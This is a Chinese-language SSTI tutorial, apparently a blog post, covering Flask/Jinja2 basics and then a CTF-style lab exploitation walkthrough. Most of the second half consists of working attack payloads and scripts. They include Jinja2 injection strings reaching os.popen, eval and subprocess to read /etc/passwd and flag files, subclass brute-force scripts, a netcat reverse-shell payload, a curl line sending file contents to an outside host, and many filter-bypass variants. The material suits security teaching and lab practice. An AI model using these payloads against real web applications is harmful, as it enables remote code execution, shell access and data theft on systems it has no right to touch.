SSTI模版注入
模板引擎
模板引擎是为了使用户界面与业务数据分离而产生的,他可以生成特定格式的文档,利用模版引擎来生成前端的html代码,模版引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生产模版+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
SSTI
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
常见的模板引擎
- PHP
Twig 模板变量:{{%s}}
Smarty 模板变量:{%s}
Blade 模板变量:{{%s}}
- Python
Jinja2 模板变量:{{%s}}
Tornado 模板变量:{{%s}}
Django 模板变量:{{ }}
- Java
FreeMarker 模板变量:<#%s>``${%s}
Velocity 模板变量:#set($x=1+1)${x}
判断模板类型
Flask模版注入
Flask是一个轻量级的可定制框架,使用python语音编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或web的实现。Flask内置的模板引擎则使用Jinjia2
漏洞演示
正常代码:
from flask import Flask,render_template_string,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
str=request.args.get('a')
html_str='''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
str值通过render_template_string加载到body中间
str是被{{}}包括起来的,会被预先渲染转义,然后才输出,不会被渲染执行。
有问题的代码:
from flask import Flask,render_template_string,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
str=request.args.get('a')
html_str='''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
str值通过format()函数填充到body中间
{}里可以定义任何参数
return render_template_string会把{}内的字符串当成代码指令
python venv环境安转及介绍
Python有各种各样的系统包和第三方开发的包,让我们的开发变得异常容易。不过也引入了一个问题,不同代码需要的包版本可能是不一样的,所以常常回出现这种情况,为了代码B修改了依赖包的版本,代码B能work了,之前使用的代码A就没法正常工作了。因此常常需要对不同的代码设置不同的Python虚拟环境。venv是Python自带的虚拟环境管理工具,相当于主机上的vmware
kali安装venv
apt updatet
python --version
apt install python3.11-venv
创建venv环境安装flask
cd /opt
python -m venv flask1
执行flask1路径下的python
方法一
#/opt/flask1/bin/python3 demo.py
方法二
#cd flask1
#source ./bin/activate
安装flask
pip install flask -i https://mirrors.aliyun.com/pypi/simple/
安装完成
如何退出虚拟环境
#deactivate
python flask应用介绍及搭建
flask
flask是一个使用python编写的轻量级Web应用框架。
其WSGI工具箱采用Werkzeug,模版引擎则使用Jinja2。Flask使用BSD授权。
Flask的特点有:良好的文档、丰富的插件、包含开发服务器和调试器、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。
Python可直接使用flask启动一个web服务页面。
Flask基本架构
进入虚拟环境flask1
在/root路径下编辑demo.py
from flask import Flask
app=Flask(__name__)#__name__是系统变量,指的是本py文件的文件名
@app.route('/')#路由,基于浏览器输入的字符串寻址
def hello():
return "Yuanshen start"
if __name__=='__main__':
app.run(host='0.0.0.0')
运行
我们更改一下路由,或者添加一个路由
from flask import Flask
app=Flask(__name__)
@app.route('/')
def hello():
return "Yuanshen start"
@app.route('/apex')
def hello2():
return "Apex start"
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)#port指定端口
Flask变量及方法
格式化字符串
demo.py
from flask import Flask
app=Flask(__name__)
@app.route('/start/<name>')
def hello(name):
return "%s start" % name
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
http://192.168.200.129:1314/start/apex
%s格式化字符串
%d接受整数
%f对于浮点值
from flask import Flask
app=Flask(__name__)
@app.route('/start/<name>')
def hello(name):
return "%s start" % name
@app.route('/int/<int:postID>')
def show_num(postID):
return "%d" % postID
@app.route('/float/<float:revNo>')
def revision(revNo):
return "%f" % revNo
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
Flask HTTP方法
from flask import Flask,redirect,url_for,request,render_template
app=Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login',methods=['POST','GET'])
def login():
if request.method == 'POST':
user =request.form['ben']
return redirect(url_for('success',name=user))
else:
user=request.args.get('ben')
return redirect(url_for('success',name=user))
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
使用post提交
使用get提交
flask模板介绍
使用模板:使用静态的页面html展示动态的内容
模板是一个相应文本的文件,其中占用符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串,这个过程称为“渲染”。
Flask使用Jinja2这个模板引擎来渲染模板。
render_template
加载html文件。默认文件路径在template目录下。
demo3.py
from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
index.html
<html>
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
模版html展示页面
</body>
</html>
运行demo3.py
python3 demo3.py
接下来我们往模板中传入数据、字符串、列表、字典
from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def index():
my_str='hello yuanshen'
my_int=12
my_array=[5,2,0,1,3,1,4]
my_dict={
'name':'zs',
'age':18
}
return render_template("index.html",
my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict
)#参数1:模板名称,参数n:传到模板里面的数据
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
我想获取字符串就可以在index.html中这样写:
<html>
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
模版html展示页面
{{my_str}}
</body>
</html>
同理获取其他数据也是这样写。
也可以使用{%%},类似jsp
<html>
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
模版html展示页面
{{my_str}}
<br>
{% set a='start'%}{{a}}
</body>
</html>
通过get方式获取值
from flask import Flask,render_template,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
my_str=request.args.get('a')
my_int=12
my_array=[5,2,0,1,3,1,4]
my_dict={
'name':'zs',
'age':18
}
return render_template("index.html",
my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict
)
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
render_template_string
用于渲染字符串,直接定义内容
from flask import Flask,render_template,request
app=Flask(__name__)
@app.route('/')
def index():
my_str='hello'
my_int=12
my_array=[5,2,0,1,3,1,4]
my_dict={
'name':'zs',
'age':18
}
return render_template_string('<html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body>模版html展示页面<br>%s<br>%s</body></html>'%(my_str,my_int))
if __name__=='__main__':
app.run(host='0.0.0.0',port=1314)
python继承关系和魔术方法
继承关系
父类和子类
子类调用父类下的其他子类
Python flask脚本没有办法直接执行Python指令
object是父子关系的顶端,所有的数据类型最终的父类都是object
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
这段代码,B的父类为A,C和D的父类为B,A的父类为object
魔术方法
__class__#查找当前类型所属的对象
__base__ #查找当前类的父类
__mro__ #查找当前类对象所有父类 当前类->父类->父类的父类->object C->B->A->object
__subclasses__()#查找父类下的所有子类
__init__ #查看类是否重载。 初始化类,返回的类型是function(没有出现wrapper表示已经重载)
__globals__ #使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__builtins__#提供对python的所有“内置”标识符的直接访问
我们以之前的代码进行举例:
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
查找当前类型所属的对象:
print(c.__class__)
查找当前类的父类:
print(c.__class__.__base__)
查找当前类对象所有父类:
print(c.__class__.__mro__)
选择父类,可以用__mro__[]
来选择,比如选择B
查找父类下的所有子类
print(c.__class__.__base__.__subclasses__())
可以看到B下面有两个子类C和D:
同理,也可以用中括号选择子类__subclasses__()[1]
靶场演示
打开jinja2靶场
先输入{{1+1}}测试有没有漏洞
可以看到成功执行,存在漏洞。我们使用''
来获取他的当前类,也可以用双引号、中括号等等
{{''.__class__}}
成功获取到所属的对象,然后使用mro获取他所有的父类
{{''.__class__.__mro__}}
然后我们查看object下的子类:
{{''.__class__.__mro__[1].__subclasses__()}}
或者
{{''.__class__.__base__.__subclasses__()}}
我们把这些值复制出来放到notepad,然后打开替换,把逗号替换成为换行符\n
查找常用注入模块
找到在118行有os._wrap_close
调用它需要在后面跟上中括号:__subclasses__()[117]
使用__init__
初始化类,如果没有出现wrapper字眼,说明已经重载
然后globals全局来查找所有的方法及变量及参数。
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__}}
此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法。
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat+/etc/passwd').read()}}
常用的注入模块
文件读取
查找子类_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
使用python脚本:
import requests
url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'
for i in range(500):
data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
break
except:
pass
运行脚本,得到所在位置为79
FileLoader的利用
["get_data"](0,"/etc/passwd")
调用get_data方法,传入参数0和文件路径
name={{''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
读取配置文件
{{config}}
内建函数eval执行命令
内建函数:python在执行脚本时自动加载的函数
python脚本查看可利用的内建函数eval的模块
import requests
url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'
for i in range(500):
data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if 'eval' in response.text:
print(i)
except:
pass
可以看到很多都包含eval
随便找一个试一下:
name={{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']}}
利用:
payload
{{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
os模块执行命令
在其他函数中直接调用os模块
通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
python脚本查找已经加载os模块的子类
import requests
url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'
for i in range(500):
data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if 'os.py' in response.text:
print(i)
except:
pass
importlib类执行命令
可以将加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImport
import requests
url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'
for i in range(500):
data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if '_frozen_importlib.BuiltinImport' in response.text:
print(i)
except:
pass
payload
{{().__class__.__bases__[0].__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
linecache函数执行命令
linecache函数可以用于读取任意一个文件的某一行,而这个函数也引用了os模块,所以我们也可以利用这个linecache函数去执行命令。
python脚本查找linecache
import requests
url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'
for i in range(500):
data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if 'linecache' in response.text:
print(i)
except:
pass
payload
{{''.__class__.__base__.__subclasses__()[265].__init__.__globals__['linecache']['os'].popen("cat /etc/passwd").read()}}
或者
{{''.__class__.__base__.__subclasses__()[265].__init__.__globals__.linecache.os.popen("cat /etc/passwd").read()}}
subprocess.Popen类执行命令
从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。子进程意在替代其他几个老的模块或者函数,比如: os.system、os.popen本等函数。
python脚本查找subprocess.Popen
import requests
url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'
for i in range(500):
data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if 'subprocess.Popen' in response.text:
print(i)
except:
pass
payload
{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
过滤绕过
1.双大括号过滤
使用{% %}
绕过
{%%}可以用来声明变量,也可以用于循环语句和条件语句。
{% set x='asdf'%}
{%for i in [1,2,3,4,5]%}{{i}}{%endfor%}
{%if 2>1%}true{%endif%}
使用python脚本查找加载popen的子类:
import requests
url = 'http://192.168.200.129:18080/flasklab/level/2'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /flag").read() %}haha{% endif %}'}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 查找存在自定义返回值的子类序号
if 'haha' in res.text:
print(i)
except:
pass
payload:
# 假设序号为60子类能调用popen函数,则payload
{% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}
例题
先使用{{}}测试,发现被过滤掉了
我们使用{%%}
成功执行,接着构造payload
先用脚本跑出加载popen的子类序号,得出为117,没有回显,使用print输出
{%print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read())%}
成功获得flag
2.无回显ssti
反弹shell
通过RCE反弹一个shell出来绕过无回显的页面
例题
命令正确显示correct
命令错误显示wrong
直接使用脚本来反弹shell
# 无回显,反弹shell脚本
import requests
# 请求的url需自定义
url = 'http://192.168.200.129:18080/flasklab/level/3'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.200.129 1314 -e /bin/bash").read() }}'}
try: # ip地址为本地ip,端口自定义
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
except:
pass
先在kali中监听nc -lvp 1314
,然后运行脚本
反弹成功
外带注入
通过requestbin或dnslog的方式将信息传到外界
import requests
# 请求的url需自定义
url = 'http://192.168.200.129:18080/flasklab/level/3'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.200.129/`cat /flag`").read() }}'}
try: # ip地址为本地ip,端口自定义
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
except:
pass
同时kali开启一个python http监听
python3 -m http.server 80
运行脚本
纯盲注(需要有一定的回显)
3.中括号过滤
使用__getitem__
魔术方法可以代替中括号,绕过中括号过滤
import requests
url='http://192.168.200.129:18080/flasklab/level/4'
for i in range(500):
data={'code':"{{''.__class__.__base__.__subclasses__().__getitem__("+str(i)+").__init__.__globals__}}"}
try:
response=requests.post(url,data=data)
if response.status_code==200:
if 'popen' in response.text:
print(i)
break
except:
pass
poayload
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
变成
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}
4.单双引号过滤
当单双引号被过滤后,可以使用get或者post传参的方法来输入参数
# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag
# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag
# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag
例题
5.下划线过滤
什么是过滤器
过滤器是通过|
进行使用的,例如{{ name|length }}
,将返回name的长度,过滤器相当于是一个函数,把当前的变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值,之后再渲染到模板页面中。
attr()函数:获取对象的属性
{{''|attr('__class__')}}
当下划线被过滤后,可以使用过滤器输入下划线。
# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码
将下划线进行16位编码的方式绕过
# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}
6.点过滤
使用中括号绕过点过滤
# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用中括号代替点,payload:
{{ ()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']() }}
也可以使用过滤器attr()绕过:
# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}
7.关键字过滤
+号拼接绕过
#假设关键字class被过滤
{{().__class__}}
# + 号绕过
{{()['__cl'+'ass__']}}
使用jinjia2的~
号拼接
#假设关键字class、base被过滤
{{().__class__.__base__}}
#使用~号绕过
{% set a='__cl'%}{%set b='ass__'%}{%set c='__ba'%}{%set d='se__'%}{{()[a~b][c~d]}}
使用过滤器绕过
reverse()可以反转字符串
#假设关键字class、base被过滤
{{().__class__}}
#使用过滤器reverse绕过
{%set a='__ssalc__'|reverse%}{{()[a]}}
replace替换
{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}
join过滤器
{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}} #把键取出来组成新的字符串
{%set a=['__cla','ss__']|join%}{{()[a]}}
8.数字过滤
可以使用length过滤器计算字符长度来绕过
# 假设关键字class、base被过滤
{{().__class__.__base__.__subclasses__()[6]}}
#使用过滤器length绕过
{% set a='aaaaaa'|length%}{{().__class__.__base__.__subclasses__()[a]}}
#若数字较大时,可以使用数学运算
{%set a='aaa'|length*'aaa'|length%} a=9
9.config过滤
config被过滤可以间接调用config
# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}
10.获取特殊符号(过滤)
在{% set a=(lipsum|string|list) %}{{a[1]}}中,a[1]为小于号
a[9]为空格,a[18]为下划线
类似的获取特殊符号的方法还有很多
标签:__,.__,name,模版,__.__,SSTI,subclasses,class,注入
From: https://www.cnblogs.com/fangao/p/17765942.html